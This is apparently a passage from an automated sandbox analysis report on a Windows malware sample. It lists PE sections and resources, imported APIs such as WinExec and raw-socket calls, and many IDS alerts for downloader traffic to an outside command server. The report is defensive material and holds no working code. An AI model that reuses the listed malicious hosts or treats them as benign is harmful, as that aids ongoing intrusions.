.data	0x6000	0x1000	0x600	3e4e842fedc9d2e7fe48ac505a51b4a8	False	0.2890625	data	2.9847726844923748	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x7000	0xd000	0xc800	cfaa119fa35a42ffce5c8d54d2130533	False	0.87822265625	data	7.677730986482495	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.CG	0x14000	0x2000	0x1c00	769d77fbde7bb91d8e3ab6c16f4b01f1	False	0.5341796875	data	5.783383892628231	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.adata	0x16000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
IMAGE	0x748c	0xb208	data	Chinese	China	0.9606591188344743
RT_CURSOR	0x12694	0x134	Targa image data - Map 64 x 65536 x 1 +32 "\001"	English	United States	0.38636363636363635
RT_CURSOR	0x127c8	0x134	data	English	United States	0.4642857142857143
RT_CURSOR	0x128fc	0x134	data	English	United States	0.4805194805194805
RT_CURSOR	0x12a30	0x134	data	English	United States	0.38311688311688313
RT_CURSOR	0x12b64	0x134	data	English	United States	0.36038961038961037
RT_CURSOR	0x12c98	0x134	data	English	United States	0.4090909090909091
RT_CURSOR	0x12dcc	0x134	Targa image data - RGB 64 x 65536 x 1 +32 "\001"	English	United States	0.4967532467532468
RT_ICON	0x15714	0x368	Device independent bitmap graphic, 16 x 32 x 24, image size 768			0.40022935779816515
RT_ICON	0x153ac	0x368	Device independent bitmap graphic, 16 x 32 x 24, image size 768			0.4025229357798165
RT_GROUP_CURSOR	0x135d0	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.25
RT_GROUP_CURSOR	0x135e4	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.25
RT_GROUP_CURSOR	0x135f8	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x1360c	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x13620	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x13634	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x13648	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_ICON	0x15398	0x14	data			1.25
RT_GROUP_ICON	0x15384	0x14	data			1.1
RT_VERSION	0x15124	0x260	data	English	United States	0.5723684210526315

Imports

DLL	Import
MFC42.DLL
MSVCRT.dll	__set_app_type, __p__fmode, __p__commode, _adjust_fdiv, __setusermatherr, _initterm, __getmainargs, _acmdln, exit, _XcptFilter, _exit, _onexit, __dllonexit, strncpy, sprintf, strcpy, _ftol, _except_handler3, memset, memcpy, srand, rand, _setmbcp, __CxxFrameHandler, _EH_prolog, __p___argv, _controlfp
KERNEL32.dll	CreateFileA, ExitProcess, WinExec, WriteFile, GetTempPathA, Sleep, LockResource, SizeofResource, LoadResource, CreateProcessA, GetModuleFileNameA, ReadFile, FindResourceA, InitializeCriticalSection, DeleteCriticalSection, LeaveCriticalSection, EnterCriticalSection, GetSystemTime, CreateThread, TerminateThread, GetModuleHandleA, GetStartupInfoA, DeleteFileA, CreateDirectoryA, CloseHandle, GetTickCount
USER32.dll	DrawIcon, GetClientRect, GetSystemMetrics, IsIconic, GetSystemMenu, wsprintfA, EnableWindow, SendMessageA, LoadIconA, AppendMenuA
GDI32.dll	CreateSolidBrush, DeleteObject
WS2_32.dll	setsockopt, WSAIoctl, htons, gethostbyname, gethostname, socket, inet_ntoa, ntohl, ntohs, WSACleanup, WSAStartup, closesocket, recv, WSAGetLastError, bind

Possible Origin

Language of compilation system	Country where language is spoken	Map
Chinese	China
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	61026	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	51219	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50761	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	61997	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50693	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50643	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50972	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	51298	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	51772	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	51243	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50553	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50698	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	58338	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	55946	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	49541	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	51661	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50821	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50617	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	58454	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50654	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	59096	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50914	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50997	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	51123	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50986	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50760	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	51237	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	58976	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50677	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50867	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50872	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	54762	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50930	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50948	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50630	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50870	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	51470	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50673	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	55516	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50622	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	61606	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	61507	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50612	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	51795	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50767	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	51733	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50704	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	58355	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50683	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	59753	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	53003	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	51985	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	52106	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	51445	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	51790	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	51212	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	51767	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50639	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	61884	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50597	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50591	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50722	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50843	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	53318	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50635	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	54530	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	55795	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	51700	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	51047	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50549	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50648	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	51183	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	55986	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50965	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	52269	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50874	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	55426	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	51717	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	51708	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50664	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	51468	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50713	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50544	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	52409	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50659	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	58233	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	55318	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50857	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50916	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50607	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50756	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50687	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	51753	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50732	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	51460	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	54902	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	59487	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	59151	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	54904	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	62141	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	51198	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50669	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	52891	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50599	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50939	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	51547	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	51228	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	60806	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	51693	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	55804	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	49509	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	54446	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	59321	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50540	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	58403	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50895	107.163.241.204	12354	TCP
2024-12-11T16:27:01.523760+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	51312	107.163.241.204	12354	TCP
2024-12-11T16:27:19.146166+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	49731	107.163.241.204	12354	TCP
2024-12-11T16:27:19.146244+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	49730	107.163.241.204	12354	TCP
2024-12-11T16:27:21.351273+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.8	49754	202.108.0.52	80	TCP
2024-12-11T16:27:21.517991+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	49750	107.163.241.204	12354	TCP
2024-12-11T16:27:21.518084+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	49749	107.163.241.204	12354	TCP
2024-12-11T16:27:23.299070+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	49768	107.163.241.204	12354	TCP
2024-12-11T16:27:23.299101+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	49770	107.163.241.204	12354	TCP
2024-12-11T16:27:25.533743+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	49784	107.163.241.204	12354	TCP
2024-12-11T16:27:25.658698+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	49787	107.163.241.204	12354	TCP
2024-12-11T16:27:27.298281+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	49806	107.163.241.204	12354	TCP
2024-12-11T16:27:27.298388+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	49803	107.163.241.204	12354	TCP
2024-12-11T16:27:29.536587+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	49819	107.163.241.204	12354	TCP
2024-12-11T16:27:29.678335+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	49821	107.163.241.204	12354	TCP
2024-12-11T16:27:31.454550+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	49841	107.163.241.204	12354	TCP
2024-12-11T16:27:31.454571+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	49839	107.163.241.204	12354	TCP
2024-12-11T16:27:33.690594+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	49855	107.163.241.204	12354	TCP
2024-12-11T16:27:33.800797+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	49857	107.163.241.204	12354	TCP
2024-12-11T16:27:35.476853+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	49876	107.163.241.204	12354	TCP
2024-12-11T16:27:35.476915+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	49874	107.163.241.204	12354	TCP
2024-12-11T16:27:37.728551+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	49888	107.163.241.204	12354	TCP
2024-12-11T16:27:37.844390+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	49891	107.163.241.204	12354	TCP
2024-12-11T16:27:39.595196+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	49912	107.163.241.204	12354	TCP
2024-12-11T16:27:39.595269+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	49910	107.163.241.204	12354	TCP
2024-12-11T16:27:41.847996+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	49924	107.163.241.204	12354	TCP
2024-12-11T16:27:41.944987+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	49926	107.163.241.204	12354	TCP
2024-12-11T16:27:43.610677+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	49947	107.163.241.204	12354	TCP
2024-12-11T16:27:43.610721+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	49945	107.163.241.204	12354	TCP
2024-12-11T16:27:45.850520+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	49961	107.163.241.204	12354	TCP
2024-12-11T16:27:45.956455+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	49963	107.163.241.204	12354	TCP
2024-12-11T16:27:47.629435+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	49987	107.163.241.204	12354	TCP
2024-12-11T16:27:47.629473+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	49984	107.163.241.204	12354	TCP
2024-12-11T16:27:49.864456+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50002	107.163.241.204	12354	TCP
2024-12-11T16:27:49.988721+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50004	107.163.241.204	12354	TCP
2024-12-11T16:27:51.642030+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50025	107.163.241.204	12354	TCP
2024-12-11T16:27:51.642030+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50027	107.163.241.204	12354	TCP
2024-12-11T16:27:53.880141+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50043	107.163.241.204	12354	TCP
2024-12-11T16:27:53.989112+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50046	107.163.241.204	12354	TCP
2024-12-11T16:27:55.641743+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50067	107.163.241.204	12354	TCP
2024-12-11T16:27:55.641813+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50065	107.163.241.204	12354	TCP
2024-12-11T16:27:58.034284+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50082	107.163.241.204	12354	TCP
2024-12-11T16:27:58.129288+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50084	107.163.241.204	12354	TCP
2024-12-11T16:27:59.709009+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50108	107.163.241.204	12354	TCP
2024-12-11T16:27:59.709033+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50106	107.163.241.204	12354	TCP
2024-12-11T16:28:01.956096+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50121	107.163.241.204	12354	TCP
2024-12-11T16:28:02.097156+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50124	107.163.241.204	12354	TCP
2024-12-11T16:28:03.860463+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50146	107.163.241.204	12354	TCP
2024-12-11T16:28:03.860492+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50148	107.163.241.204	12354	TCP
